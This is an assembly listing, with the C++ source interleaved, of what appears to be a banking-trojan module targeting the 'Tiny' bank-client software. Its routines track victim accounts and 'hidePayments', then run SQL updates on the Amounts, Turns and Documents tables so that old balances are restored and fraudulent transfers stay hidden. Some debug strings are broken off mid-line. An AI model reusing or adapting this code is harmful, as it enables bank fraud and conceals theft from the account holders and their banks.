_len$ = 12						; size = 4
?FSF_SelectAmounts@Tiny@@YAHPA_WH@Z PROC		; Tiny::FSF_SelectAmounts, COMDAT
; 1012 : 	stateSQL = 1; //
  00000	33 c0		 xor	 eax, eax
  00002	40		 inc	 eax
  00003	a3 00 00 00 00	 mov	 DWORD PTR _stateSQL, eax
; 1013 : 	DBG( "Tiny", "FSF_SelectAmounts(): stateSQL = 1, %ls", sql );
; 1014 : 	return 1; //
; 1015 : }
  00008	c3		 ret	 0
?FSF_SelectAmounts@Tiny@@YAHPA_WH@Z ENDP		; Tiny::FSF_SelectAmounts
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?FSF_UpdateConfigLastSync@Tiny@@YAHPA_WH@Z
_TEXT	SEGMENT
_sql$ = 8						; size = 4
_len$ = 12						; size = 4
?FSF_UpdateConfigLastSync@Tiny@@YAHPA_WH@Z PROC		; Tiny::FSF_UpdateConfigLastSync, COMDAT
; 1026 : 	runHideReplacement = true;
; 1027 : 	DBG( "Tiny", "FSF_UpdateConfigLastSync(): runHideReplacement=true" );
; 1028 : 	pSleep(2000); //
  00000	68 d0 07 00 00	 push	 2000			; 000007d0H
  00005	c6 05 00 00 00
	00 01		 mov	 BYTE PTR _runHideReplacement, 1
  0000c	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
; 1029 : 	return 1; //
  00011	33 c0		 xor	 eax, eax
  00013	59		 pop	 ecx
  00014	40		 inc	 eax
; 1030 : }
  00015	c3		 ret	 0
?FSF_UpdateConfigLastSync@Tiny@@YAHPA_WH@Z ENDP		; Tiny::FSF_UpdateConfigLastSync
_TEXT	ENDS
EXTRN	?m_wcsncmp@@YA_NPA_W0I@Z:PROC			; m_wcsncmp
_BSS	SEGMENT
_accountClient DB 0be0H DUP (?)
; Function compile flags: /Ogspy
_BSS	ENDS
;	COMDAT ?FV_Code_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
_TEXT	SEGMENT
_account$100444 = -72					; size = 64
_len$100456 = -8					; size = 4
tv274 = -4						; size = 4
_v$ = 8							; size = 4
?FV_Code_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z PROC	; Tiny::FV_Code_Amounts, COMDAT
; 1036 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 1037 : 	if( stateSQL == 1 || stateSQL == 2 )
  00003	a1 00 00 00 00	 mov	 eax, DWORD PTR _stateSQL
  00008	83 ec 48	 sub	 esp, 72			; 00000048H
  0000b	53		 push	 ebx
  0000c	6a 02		 push	 2
  0000e	5b		 pop	 ebx
  0000f	83 f8 01	 cmp	 eax, 1
  00012	74 08		 je	 SHORT $LN16@FV_Code_Am
  00014	3b c3		 cmp	 eax, ebx
  00016	0f 85 09 01 00
	00		 jne	 $LN20@FV_Code_Am
$LN16@FV_Code_Am:
; 1038 : 	{
; 1039 : 		//
 "xxxx xxxxxxxy.zzz", 
; 1040 : 		//
; 1041 : 		//
; 1042 : 		int space = 0;
; 1043 : 		wchar_t* p = v->bstrVal;
  0001c	8b 45 08	 mov	 eax, DWORD PTR _v$[ebp]
  0001f	8b 48 08	 mov	 ecx, DWORD PTR [eax+8]
; 1044 : 		wchar_t account[32];
; 1045 : 		wchar_t* t = account;
; 1046 : 		while( *p && *p != L'.' )
  00022	0f b7 11	 movzx	 edx, WORD PTR [ecx]
  00025	56		 push	 esi
  00026	33 f6		 xor	 esi, esi
  00028	57		 push	 edi
  00029	8d 45 b8	 lea	 eax, DWORD PTR _account$100444[ebp]
  0002c	66 85 d2	 test	 dx, dx
  0002f	74 4c		 je	 SHORT $LN33@FV_Code_Am
  00031	8b f9		 mov	 edi, ecx
  00033	2b f9		 sub	 edi, ecx
$LL15@FV_Code_Am:
  00035	66 83 fa 2e	 cmp	 dx, 46			; 0000002eH
  00039	74 22		 je	 SHORT $LN14@FV_Code_Am
; 1047 : 		{
; 1048 : 			if( *p == L' ' )
  0003b	66 83 fa 20	 cmp	 dx, 32			; 00000020H
  0003f	75 0b		 jne	 SHORT $LN13@FV_Code_Am
; 1049 : 			{
; 1050 : 				if( space == 0 ) 
  00041	85 f6		 test	 esi, esi
  00043	75 0c		 jne	 SHORT $LN11@FV_Code_Am
; 1051 : 				{
; 1052 : 					space = p - v->bstrVal;
  00045	8b f7		 mov	 esi, edi
; 1053 : 					*t++ = *p;
  00047	6a 20		 push	 32			; 00000020H
  00049	d1 fe		 sar	 esi, 1
  0004b	5a		 pop	 edx
$LN13@FV_Code_Am:
; 1054 : 				}
; 1055 : 			}
; 1056 : 			else
; 1057 : 				*t++ = *p;
  0004c	66 89 10	 mov	 WORD PTR [eax], dx
  0004f	03 c3		 add	 eax, ebx
$LN11@FV_Code_Am:
; 1058 : 			p++;
  00051	03 cb		 add	 ecx, ebx
  00053	0f b7 11	 movzx	 edx, WORD PTR [ecx]
  00056	03 fb		 add	 edi, ebx
  00058	66 85 d2	 test	 dx, dx
  0005b	75 d8		 jne	 SHORT $LL15@FV_Code_Am
$LN14@FV_Code_Am:
; 1059 : 		}
; 1060 : 		if( space > 0 )
  0005d	85 f6		 test	 esi, esi
  0005f	7e 14		 jle	 SHORT $LN23@FV_Code_Am
; 1061 : 		{
; 1062 : 			account[space] = p[-1];
  00061	66 8b 51 fe	 mov	 dx, WORD PTR [ecx-2]
  00065	66 89 54 75 b8	 mov	 WORD PTR _account$100444[ebp+esi*2], dx
; 1063 : 			t--;
  0006a	2b c3		 sub	 eax, ebx
; 1064 : 		}
; 1065 : 		while( *p ) *t++ = *p++;
  0006c	eb 07		 jmp	 SHORT $LN23@FV_Code_Am
$LL9@FV_Code_Am:
  0006e	66 89 10	 mov	 WORD PTR [eax], dx
  00071	03 c3		 add	 eax, ebx
  00073	03 cb		 add	 ecx, ebx
$LN23@FV_Code_Am:
  00075	0f b7 11	 movzx	 edx, WORD PTR [ecx]
  00078	66 85 d2	 test	 dx, dx
  0007b	75 f1		 jne	 SHORT $LL9@FV_Code_Am
$LN33@FV_Code_Am:
; 1066 : 		*t = 0;
; 1067 : 		int len = t - account;
; 1068 : 		int i;
; 1069 : 		currAccount = -1;
  0007d	83 0d 00 00 00
	00 ff		 or	 DWORD PTR _currAccount, -1
  00084	33 c9		 xor	 ecx, ecx
  00086	66 89 08	 mov	 WORD PTR [eax], cx
  00089	8d 4d b8	 lea	 ecx, DWORD PTR _account$100444[ebp]
  0008c	2b c1		 sub	 eax, ecx
  0008e	d1 f8		 sar	 eax, 1
; 1070 : 		for( i = 0; i < ARRAYSIZE(accountClient) - 1 && accountClient[i].account[0]; i++ )
  00090	33 db		 xor	 ebx, ebx
  00092	21 5d fc	 and	 DWORD PTR tv274[ebp], ebx
  00095	89 45 f8	 mov	 DWORD PTR _len$100456[ebp], eax
  00098	bf 00 00 00 00	 mov	 edi, OFFSET _accountClient
  0009d	be 30 01 00 00	 mov	 esi, 304		; 00000130H
$LL32@FV_Code_Am:
  000a2	66 83 3f 00	 cmp	 WORD PTR [edi], 0
  000a6	74 2b		 je	 SHORT $LN30@FV_Code_Am
; 1071 : 		{
; 1072 : 			if( !m_wcsncmp( account, accountClient[i].account, len ) ) //
  000a8	ff 75 f8	 push	 DWORD PTR _len$100456[ebp]
  000ab	8d 45 b8	 lea	 eax, DWORD PTR _account$100444[ebp]
  000ae	57		 push	 edi
  000af	50		 push	 eax
  000b0	e8 00 00 00 00	 call	 ?m_wcsncmp@@YA_NPA_W0I@Z ; m_wcsncmp
  000b5	83 c4 0c	 add	 esp, 12			; 0000000cH
  000b8	84 c0		 test	 al, al
  000ba	74 11		 je	 SHORT $LN25@FV_Code_Am
  000bc	01 75 fc	 add	 DWORD PTR tv274[ebp], esi
  000bf	43		 inc	 ebx
  000c0	03 fe		 add	 edi, esi
  000c2	81 7d fc b0 0a
	00 00		 cmp	 DWORD PTR tv274[ebp], 2736 ; 00000ab0H
  000c9	72 d7		 jb	 SHORT $LL32@FV_Code_Am
  000cb	eb 06		 jmp	 SHORT $LN30@FV_Code_Am
$LN25@FV_Code_Am:
; 1073 : 			{
; 1074 : 				currAccount = i;
  000cd	89 1d 00 00 00
	00		 mov	 DWORD PTR _currAccount, ebx
$LN30@FV_Code_Am:
; 1075 : 				break;
; 1076 : 			}
; 1077 : 		}
; 1078 : 		if( currAccount < 0 ) //
  000d3	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR _currAccount, 0
  000da	7d 3d		 jge	 SHORT $LN29@FV_Code_Am
; 1079 : 		{
; 1080 : 			if( i < ARRAYSIZE(accountClient) - 1 ) //
  000dc	83 fb 09	 cmp	 ebx, 9
  000df	73 2f		 jae	 SHORT $LN2@FV_Code_Am
; 1081 : 			{
; 1082 : 				//
; 1083 : 				m_wcsncpy( accountClient[i].account, account, len + 1 );
  000e1	8b 45 f8	 mov	 eax, DWORD PTR _len$100456[ebp]
  000e4	8b f3		 mov	 esi, ebx
  000e6	69 f6 30 01 00
	00		 imul	 esi, 304		; 00000130H
  000ec	40		 inc	 eax
  000ed	50		 push	 eax
  000ee	8d 45 b8	 lea	 eax, DWORD PTR _account$100444[ebp]
  000f1	50		 push	 eax
  000f2	8d 86 00 00 00
	00		 lea	 eax, DWORD PTR _accountClient[esi]
  000f8	50		 push	 eax
  000f9	e8 00 00 00 00	 call	 ?m_wcsncpy@@YAPA_WPA_W0K@Z ; m_wcsncpy
  000fe	83 c4 0c	 add	 esp, 12			; 0000000cH
; 1084 : 				accountClient[i + 1].account[0] = 0;
  00101	33 c0		 xor	 eax, eax
  00103	66 89 86 30 01
	00 00		 mov	 WORD PTR _accountClient[esi+304], ax
; 1085 : 				currAccount = i;
  0010a	89 1d 00 00 00
	00		 mov	 DWORD PTR _currAccount, ebx
$LN2@FV_Code_Am:
; 1086 : 			}
; 1087 : 		}
; 1088 : 		if( currAccount >= 0 )
  00110	83 3d 00 00 00
	00 00		 cmp	 DWORD PTR _currAccount, 0
  00117	7c 0a		 jl	 SHORT $LN34@FV_Code_Am
$LN29@FV_Code_Am:
; 1089 : 		{
; 1090 : 			stateSQL = 2; //
  00119	c7 05 00 00 00
	00 02 00 00 00	 mov	 DWORD PTR _stateSQL, 2
$LN34@FV_Code_Am:
  00123	5f		 pop	 edi
  00124	5e		 pop	 esi
; 1091 : 			DBG( "Tiny", "stateSQL = 2, account = %ls", account );
$LN20@FV_Code_Am:
  00125	5b		 pop	 ebx
; 1092 : 		}
; 1093 : 	}
; 1094 : }
  00126	c9		 leave
  00127	c3		 ret	 0
?FV_Code_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z ENDP	; Tiny::FV_Code_Amounts
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?FV_Confirmed_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z
_TEXT	SEGMENT
_v$ = 8							; size = 4
?FV_Confirmed_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z PROC	; Tiny::FV_Confirmed_Amounts, COMDAT
; 1098 : 	if( stateSQL == 2 )
  00000	83 3d 00 00 00
	00 02		 cmp	 DWORD PTR _stateSQL, 2
  00007	75 31		 jne	 SHORT $LN4@FV_Confirm
; 1099 : 	{
; 1100 : 		accountClient[currAccount].oldBalance = accountClient[currAccount].balance;
  00009	a1 00 00 00 00	 mov	 eax, DWORD PTR _currAccount
  0000e	69 c0 30 01 00
	00		 imul	 eax, 304		; 00000130H
  00014	8d 88 20 00 00
	00		 lea	 ecx, DWORD PTR _accountClient[eax+32]
  0001a	8b 11		 mov	 edx, DWORD PTR [ecx]
  0001c	89 90 28 00 00
	00		 mov	 DWORD PTR _accountClient[eax+40], edx
  00022	8b 51 04	 mov	 edx, DWORD PTR [ecx+4]
  00025	89 90 2c 00 00
	00		 mov	 DWORD PTR _accountClient[eax+44], edx
; 1101 : 		accountClient[currAccount].balance = v->cyVal.int64;
  0002b	8b 44 24 04	 mov	 eax, DWORD PTR _v$[esp-4]
  0002f	8b 50 08	 mov	 edx, DWORD PTR [eax+8]
  00032	89 11		 mov	 DWORD PTR [ecx], edx
  00034	8b 40 0c	 mov	 eax, DWORD PTR [eax+12]
  00037	89 41 04	 mov	 DWORD PTR [ecx+4], eax
; 1102 : 		DBG( "Tiny", "balance = %I64d -> %I64d", accountClient[currAccount].oldBalance, accountClient[currAccount].balance );
$LN4@FV_Confirm:
; 1103 : 	}
; 1104 : }
  0003a	c3		 ret	 0
?FV_Confirmed_Amounts@Tiny@@YAXPAUtagVARIANT@@@Z ENDP	; Tiny::FV_Confirmed_Amounts
_TEXT	ENDS
PUBLIC	??_C@_0BJ@LOCHDFLP@select?5Code?5From?5Amounts?$AA@ ; `string'
PUBLIC	??_C@_04JAGIOILE@os32?$AA@			; `string'
EXTRN	?NextRow@ODBC@@QAE_NPAX@Z:PROC			; ODBC::NextRow
EXTRN	?m_lstrcmp@@YGKPBD0@Z:PROC			; m_lstrcmp
;	COMDAT ??_C@_0BJ@LOCHDFLP@select?5Code?5From?5Amounts?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0BJ@LOCHDFLP@select?5Code?5From?5Amounts?$AA@ DB 'select Code From '
	DB	'Amounts', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_04JAGIOILE@os32?$AA@
CONST	SEGMENT
??_C@_04JAGIOILE@os32?$AA@ DB 'os32', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?ConvertAccount@Tiny@@YAPADPBDPAD@Z
_TEXT	SEGMENT
_Code$ = -36						; size = 33
_from$ = 8						; size = 4
?ConvertAccount@Tiny@@YAPADPBDPAD@Z PROC		; Tiny::ConvertAccount, COMDAT
; _to$ = ebx
; 1234 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 24	 sub	 esp, 36			; 00000024H
  00006	56		 push	 esi
; 1235 : 	const char* sql = "select Code From Amounts";
; 1236 : 	char Code[33];
; 1237 : 	ODBC* DB = OpenDB();
  00007	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  0000c	8b f0		 mov	 esi, eax
; 1238 : 	if( DB )
  0000e	85 f6		 test	 esi, esi
  00010	74 5e		 je	 SHORT $LN12@ConvertAcc
  00012	57		 push	 edi
; 1239 : 	{
; 1240 : 		SQLHSTMT qr = DB->ExecuteSql( sql, "os32", Code );
  00013	8d 45 dc	 lea	 eax, DWORD PTR _Code$[ebp]
  00016	50		 push	 eax
  00017	68 00 00 00 00	 push	 OFFSET ??_C@_04JAGIOILE@os32?$AA@
  0001c	68 00 00 00 00	 push	 OFFSET ??_C@_0BJ@LOCHDFLP@select?5Code?5From?5Amounts?$AA@
  00021	56		 push	 esi
  00022	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00027	8b f8		 mov	 edi, eax
  00029	83 c4 10	 add	 esp, 16			; 00000010H
; 1241 : 		if( qr )
  0002c	85 ff		 test	 edi, edi
  0002e	74 37		 je	 SHORT $LN5@ConvertAcc
$LL4@ConvertAcc:
; 1242 : 		{
; 1243 : 			do
; 1244 : 			{
; 1245 : 				AccountToNormal( Code, to );
  00030	53		 push	 ebx
  00031	8d 4d dc	 lea	 ecx, DWORD PTR _Code$[ebp]
  00034	e8 00 00 00 00	 call	 ?AccountToNormal@Tiny@@YAPADPBDPAD@Z ; Tiny::AccountToNormal
  00039	59		 pop	 ecx
; 1246 : 				if( m_lstrcmp( from, to ) ==  0 )
  0003a	53		 push	 ebx
  0003b	ff 75 08	 push	 DWORD PTR _from$[ebp]
  0003e	e8 00 00 00 00	 call	 ?m_lstrcmp@@YGKPBD0@Z	; m_lstrcmp
  00043	85 c0		 test	 eax, eax
  00045	74 0e		 je	 SHORT $LN17@ConvertAcc
; 1249 : 					break;
; 1250 : 				}
; 1251 : 			} while( DB->NextRow(qr) );
  00047	57		 push	 edi
  00048	8b ce		 mov	 ecx, esi
  0004a	e8 00 00 00 00	 call	 ?NextRow@ODBC@@QAE_NPAX@Z ; ODBC::NextRow
  0004f	84 c0		 test	 al, al
  00051	75 dd		 jne	 SHORT $LL4@ConvertAcc
  00053	eb 0a		 jmp	 SHORT $LN2@ConvertAcc
$LN17@ConvertAcc:
; 1247 : 				{
; 1248 : 					m_lstrcpy( to, Code );
  00055	8d 45 dc	 lea	 eax, DWORD PTR _Code$[ebp]
  00058	50		 push	 eax
  00059	53		 push	 ebx
  0005a	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
$LN2@ConvertAcc:
; 1252 : 			DB->CloseQuery(qr);
  0005f	57		 push	 edi
  00060	8b ce		 mov	 ecx, esi
  00062	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
$LN5@ConvertAcc:
; 1253 : 		}
; 1254 : 		CloseDB(DB);
  00067	8b 06		 mov	 eax, DWORD PTR [esi]
  00069	6a 01		 push	 1
  0006b	8b ce		 mov	 ecx, esi
  0006d	ff 10		 call	 DWORD PTR [eax]
  0006f	5f		 pop	 edi
$LN12@ConvertAcc:
; 1255 : 	}
; 1256 : 	DBG( "Tiny", "ConvertAccount: %s -> %s", from, to );
; 1257 : 	return to;
  00070	8b c3		 mov	 eax, ebx
  00072	5e		 pop	 esi
; 1258 : }
  00073	c9		 leave
  00074	c3		 ret	 0
?ConvertAccount@Tiny@@YAPADPBDPAD@Z ENDP		; Tiny::ConvertAccount
_TEXT	ENDS
PUBLIC	??_C@_0HC@KOAOEGOO@update?5MyDocuments?5set?5OrgDate?$DN?$DP@ ; `string'
PUBLIC	??_C@_0BJ@FLPIDOAJ@ii?5ii?5ii?5is24?5it?5it?5is31?$AA@ ; `string'
PUBLIC	??_C@_0GF@GGLMKAMP@update?5Documents?5set?5OrgDate?$DN?$DP?0?5@ ; `string'
PUBLIC	??_C@_0BG@BBFKAGDE@ii?5ii?5is24?5it?5it?5is31?$AA@ ; `string'
PUBLIC	??_C@_0EB@CIHNHAK@update?5Turns?5set?5ConDebit?$DN?$CFd?4?$CF02@ ; `string'
PUBLIC	??_C@_0EE@PBGOBJMD@update?5Amounts?5set?5Expected?$DN?$CFd?4?$CF@ ; `string'
EXTRN	?Get_wsprintfA@@YAP6AHPADPBDZZXZ:PROC		; Get_wsprintfA
EXTRN	__alldvrm:PROC
_BSS	SEGMENT
_hidePayments DB 0410H DUP (?)
_restAccounts DB 0320H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_0HC@KOAOEGOO@update?5MyDocuments?5set?5OrgDate?$DN?$DP@
; File e:\projects\progs\petrosjan\bjwj\source\core\memory.h
CONST	SEGMENT
??_C@_0HC@KOAOEGOO@update?5MyDocuments?5set?5OrgDate?$DN?$DP@ DB 'update '
	DB	'MyDocuments set OrgDate=?, DayDate=?, PayDate=? where DebitIn'
	DB	'it=? and Created>=? and Created<=? and Code=?', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@FLPIDOAJ@ii?5ii?5ii?5is24?5it?5it?5is31?$AA@
CONST	SEGMENT
??_C@_0BJ@FLPIDOAJ@ii?5ii?5ii?5is24?5it?5it?5is31?$AA@ DB 'ii ii ii is24 '
	DB	'it it is31', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0GF@GGLMKAMP@update?5Documents?5set?5OrgDate?$DN?$DP?0?5@
CONST	SEGMENT
??_C@_0GF@GGLMKAMP@update?5Documents?5set?5OrgDate?$DN?$DP?0?5@ DB 'updat'
	DB	'e Documents set OrgDate=?, DayDate=? where DebitInit=? and Cr'
	DB	'eated>=? and Created<=? and Code=?', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BG@BBFKAGDE@ii?5ii?5is24?5it?5it?5is31?$AA@
CONST	SEGMENT
??_C@_0BG@BBFKAGDE@ii?5ii?5is24?5it?5it?5is31?$AA@ DB 'ii ii is24 it it i'
	DB	's31', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0EB@CIHNHAK@update?5Turns?5set?5ConDebit?$DN?$CFd?4?$CF02@
CONST	SEGMENT
??_C@_0EB@CIHNHAK@update?5Turns?5set?5ConDebit?$DN?$CFd?4?$CF02@ DB 'upda'
	DB	'te Turns set ConDebit=%d.%02d where Code=''%s'' and DayDate=%'
	DB	'd', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0EE@PBGOBJMD@update?5Amounts?5set?5Expected?$DN?$CFd?4?$CF@
CONST	SEGMENT
??_C@_0EE@PBGOBJMD@update?5Amounts?5set?5Expected?$DN?$CFd?4?$CF@ DB 'upd'
	DB	'ate Amounts set Expected=%d.%02d,Confirmed=%d.%d where Code='''
	DB	'%s''', 00H					; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?RestoreBalansAndDocs@Tiny@@YAXXZ
_TEXT	SEGMENT
_endDay$100827 = -44					; size = 16
tv262 = -36						; size = 8
tv260 = -36						; size = 8
_sqlBuf$100803 = -28					; size = 8
tv253 = -20						; size = 8
tv250 = -20						; size = 8
tv314 = -16						; size = 4
_DayDate$100819 = -16					; size = 4
tv315 = -12						; size = 4
_pwsprintfA$100805 = -12				; size = 4
_n$100807 = -8						; size = 4
_DB$ = -4						; size = 4
?RestoreBalansAndDocs@Tiny@@YAXXZ PROC			; Tiny::RestoreBalansAndDocs, COMDAT
; 1482 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 2c	 sub	 esp, 44			; 0000002cH
  00006	56		 push	 esi
; 1483 : 	ODBC* DB = OpenDB();
  00007	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
; 1484 : 	if( DB )
  0000c	33 f6		 xor	 esi, esi
  0000e	89 45 fc	 mov	 DWORD PTR _DB$[ebp], eax
  00011	3b c6		 cmp	 eax, esi
  00013	0f 84 c4 01 00
	00		 je	 $LN41@RestoreBal
  00019	53		 push	 ebx
  0001a	57		 push	 edi
; 1485 : 	{
; 1486 : 		TMemory sqlBuf(1024);
  0001b	68 00 04 00 00	 push	 1024			; 00000400H
  00020	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00025	59		 pop	 ecx
  00026	89 45 e4	 mov	 DWORD PTR _sqlBuf$100803[ebp], eax
; 1487 : 		const char* sql;
; 1488 : 		fwsprintfA pwsprintfA = Get_wsprintfA();
  00029	e8 00 00 00 00	 call	 ?Get_wsprintfA@@YAP6AHPADPBDZZXZ ; Get_wsprintfA
; 1489 : 
; 1490 : 		DBG( "Tiny", "
; 1491 : 		int n = 0;
; 1492 : 		while( restAccounts[n].account[0] )
  0002e	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _restAccounts, 0
  00035	89 45 f4	 mov	 DWORD PTR _pwsprintfA$100805[ebp], eax
  00038	89 75 f8	 mov	 DWORD PTR _n$100807[ebp], esi
  0003b	0f 84 be 00 00
	00		 je	 $LN3@RestoreBal
  00041	bf 00 00 00 00	 mov	 edi, OFFSET _restAccounts
$LL4@RestoreBal:
; 1493 : 		{
; 1494 : 			DBG( "Tiny", "
 %I64d", restAccounts[n].account, restAccounts[n].oldSum );
; 1495 : 			sql = "update Amounts set Expected=%d.%02d,Confirmed=%d.%d where Code='%s'";
; 1496 : 			__int64 v = restAccounts[n].oldSum;
  00046	8b 8e 44 00 00
	00		 mov	 ecx, DWORD PTR _restAccounts[esi+68]
  0004c	8b 86 40 00 00
	00		 mov	 eax, DWORD PTR _restAccounts[esi+64]
; 1497 : 			pwsprintfA( sqlBuf.AsStr(), sql, (DWORD)(v / 100), (DWORD)(v % 100), (DWORD)(v / 100), (DWORD)(v % 100), restAccounts[n].account );
  00052	6a 00		 push	 0
  00054	6a 64		 push	 100			; 00000064H
  00056	51		 push	 ecx
  00057	50		 push	 eax
  00058	e8 00 00 00 00	 call	 __alldvrm
  0005d	57		 push	 edi
  0005e	51		 push	 ecx
  0005f	50		 push	 eax
  00060	51		 push	 ecx
  00061	50		 push	 eax
  00062	68 00 00 00 00	 push	 OFFSET ??_C@_0EE@PBGOBJMD@update?5Amounts?5set?5Expected?$DN?$CFd?4?$CF@
  00067	ff 75 e4	 push	 DWORD PTR _sqlBuf$100803[ebp]
  0006a	89 5d f0	 mov	 DWORD PTR tv250[ebp+4], ebx
  0006d	89 55 f0	 mov	 DWORD PTR tv253[ebp+4], edx
  00070	ff 55 f4	 call	 DWORD PTR _pwsprintfA$100805[ebp]
; 1498 : 			DBG( "Tiny", "sql = '%s'", sqlBuf.AsStr() );
; 1499 : 			SQLHSTMT qr = DB->ExecuteSql( sqlBuf.AsStr(), 0 );
  00073	6a 00		 push	 0
  00075	ff 75 e4	 push	 DWORD PTR _sqlBuf$100803[ebp]
  00078	ff 75 fc	 push	 DWORD PTR _DB$[ebp]
  0007b	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
; 1500 : 			DB->CloseQuery(qr);
  00080	8b 4d fc	 mov	 ecx, DWORD PTR _DB$[ebp]
  00083	83 c4 28	 add	 esp, 40			; 00000028H
  00086	50		 push	 eax
  00087	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1501 : 
; 1502 : 			DBG( "Tiny", "
 %I64d", restAccounts[n].account, restAccounts[n].oldDebet );
; 1503 : 			int DayDate = ConvertDate( DB, &restAccounts[n].date );
  0008c	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _restAccounts[esi+32]
  00092	50		 push	 eax
  00093	ff 75 fc	 push	 DWORD PTR _DB$[ebp]
  00096	e8 00 00 00 00	 call	 ?ConvertDate@Tiny@@YAHPAVODBC@@PAUtagTIMESTAMP_STRUCT@@@Z ; Tiny::ConvertDate
  0009b	59		 pop	 ecx
  0009c	59		 pop	 ecx
; 1504 : 			sql = "update Turns set ConDebit=%d.%02d where Code='%s' and DayDate=%d";
; 1505 : 			v = restAccounts[n].oldDebet;
; 1506 : 			pwsprintfA( sqlBuf.AsStr(), sql, (DWORD)(v / 100), (DWORD)(v % 100), restAccounts[n].account, DayDate );
  0009d	6a 00		 push	 0
  0009f	89 45 f0	 mov	 DWORD PTR _DayDate$100819[ebp], eax
  000a2	8b 86 48 00 00
	00		 mov	 eax, DWORD PTR _restAccounts[esi+72]
  000a8	8b b6 4c 00 00
	00		 mov	 esi, DWORD PTR _restAccounts[esi+76]
  000ae	6a 64		 push	 100			; 00000064H
  000b0	56		 push	 esi
  000b1	50		 push	 eax
  000b2	e8 00 00 00 00	 call	 __alldvrm
  000b7	ff 75 f0	 push	 DWORD PTR _DayDate$100819[ebp]
  000ba	89 5d e0	 mov	 DWORD PTR tv260[ebp+4], ebx
  000bd	57		 push	 edi
  000be	51		 push	 ecx
  000bf	50		 push	 eax
  000c0	68 00 00 00 00	 push	 OFFSET ??_C@_0EB@CIHNHAK@update?5Turns?5set?5ConDebit?$DN?$CFd?4?$CF02@
  000c5	ff 75 e4	 push	 DWORD PTR _sqlBuf$100803[ebp]
  000c8	89 55 e0	 mov	 DWORD PTR tv262[ebp+4], edx
  000cb	ff 55 f4	 call	 DWORD PTR _pwsprintfA$100805[ebp]
; 1507 : 			DBG( "Tiny", "sql = '%s'", sqlBuf.AsStr() );
; 1508 : 			qr = DB->ExecuteSql( sqlBuf.AsStr(), 0 );
  000ce	6a 00		 push	 0
  000d0	ff 75 e4	 push	 DWORD PTR _sqlBuf$100803[ebp]
  000d3	ff 75 fc	 push	 DWORD PTR _DB$[ebp]
  000d6	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
; 1509 : 			DB->CloseQuery(qr);
  000db	8b 4d fc	 mov	 ecx, DWORD PTR _DB$[ebp]
  000de	83 c4 24	 add	 esp, 36			; 00000024H
  000e1	50		 push	 eax
  000e2	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1510 : 			n++;
  000e7	ff 45 f8	 inc	 DWORD PTR _n$100807[ebp]
  000ea	8b 75 f8	 mov	 esi, DWORD PTR _n$100807[ebp]
  000ed	6b f6 50	 imul	 esi, 80			; 00000050H
  000f0	8d be 00 00 00
	00		 lea	 edi, DWORD PTR _restAccounts[esi]
  000f6	80 3f 00	 cmp	 BYTE PTR [edi], 0
  000f9	0f 85 47 ff ff
	ff		 jne	 $LL4@RestoreBal
$LN3@RestoreBal:
; 1511 : 		}
; 1512 : 
; 1513 : 		DBG( "Tiny", "
; 1514 : 		n = 0;
  000ff	33 f6		 xor	 esi, esi
; 1515 : 		while( hidePayments[n].account[0] )
  00101	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _hidePayments, 0
  00108	89 75 f8	 mov	 DWORD PTR _n$100807[ebp], esi
  0010b	0f 84 b8 00 00
	00		 je	 $LN1@RestoreBal
  00111	bf 00 00 00 00	 mov	 edi, OFFSET _hidePayments
$LL2@RestoreBal:
; 1516 : 		{
; 1517 : 			DBG( "Tiny", "
 %s %s", hidePayments[n].account, hidePayments[n].num );
; 1518 : 			TIMESTAMP_STRUCT endDay; //
; 1519 : 			m_memcpy( &endDay, &hidePayments[n].date, sizeof(endDay) );
  00116	6a 10		 push	 16			; 00000010H
  00118	8d 9e 48 00 00
	00		 lea	 ebx, DWORD PTR _hidePayments[esi+72]
